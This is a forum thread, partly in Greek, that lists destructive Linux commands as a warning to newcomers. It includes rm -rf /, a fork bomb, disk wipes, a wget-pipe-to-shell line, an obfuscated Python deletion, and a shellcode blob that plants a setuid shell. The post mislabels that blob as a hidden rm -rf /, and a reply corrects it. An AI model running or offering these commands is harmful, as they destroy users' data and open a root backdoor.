Επικίνδυνες εντολές

[tr3quart1sta]

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

 

1. Code:

 

>rm -rf /

 

This command will recursively and forcefully delete all the files inside the root directory.

 

2. Code:

 

>char esp[] [i]_attribute_[/i] ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

 

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

 

3. Code:

 

>mkfs.ext3 /dev/sda

 

 

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

 

4. Code:

 

>){:|:&};:

 

 

Known as fork bomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

 

5. Code:

 

>any_command > /dev/sda

 

 

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

 

6. Code:

 

>wget [url="http://some_untrusted_source/"]http://some_untrusted_source[/url] [s]O[/s] | sh

 

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

 

7. Code:

 

>mv ~/* /dev/null

>mv /home/yourhomedirectory/* /dev/null

 

 

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

 

 

8. Code:

 

>dd if=/dev/urandom of=/dev/sda

 

This command fill your hard disk partition with some random data

 

9. Code:

 

>chmod -R 777 /

 

This comand make your system world writable.

 

10. Code:

 

>chmod 000 -R /

>chown nobody:nobody -R /

 

This command removes all the access priviledge from all the users except root

 

11. Code:

 

>yes > /dev/sda

 

This command fill your hard disk with the character 'y'

 

12.Code:

 

>rm -rf /boot/

 

Description:

Will delete Kernel , Initrd , and GRUB/LILO Files

(Needed for Linux Startup)

 

 

>rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*

 

Delete the Linux kernel

 

>rm /bin/init

>cd / ; find -iname init -exec rm -rf {} \;

 

Deletes any file with "init" in it including /sbin/init.

 

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

[NullScan]

Το 2 δέν ισχυεί

1ον, δέν είναι bash (ή οποιοδήποτε άλλο shell για να το θεωρήσεις "εντολή"), είναι shellcode.

2ον είναι shellcode ενός exploit για κάποιες παλιές εκδόσεις του sudo το οποίο (υποθέτω οτι μετά από 4-5 ίσως και 6 χρόνια) έχει patch-αριστεί.

[isay]

...

1. Code:

 

>rm -rf /

 

This command will recursively and forcefully delete all the files inside the root directory.

...

Εγώ προτιμώ την

>sudo rm -rfv /

Ειδικά για τους wanna be hacker ειναι πιο πιασάρικη γιατί βλέπουν οτι κάτι γίνεται (η καταστροφή τους)

[tr3quart1sta]

Το 2 δέν ισχυεί

1ον, δέν είναι bash (ή οποιοδήποτε άλλο shell για να το θεωρήσεις "εντολή"), είναι shellcode.

2ον είναι shellcode ενός exploit για κάποιες παλιές εκδόσεις του sudo το οποίο (υποθέτω οτι μετά από 4-5 ίσως και 6 χρόνια) έχει patch-αριστεί.

 

ok thanks..!

 

για πειτε και σεις καμια...

[DIMITRISG]

>python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.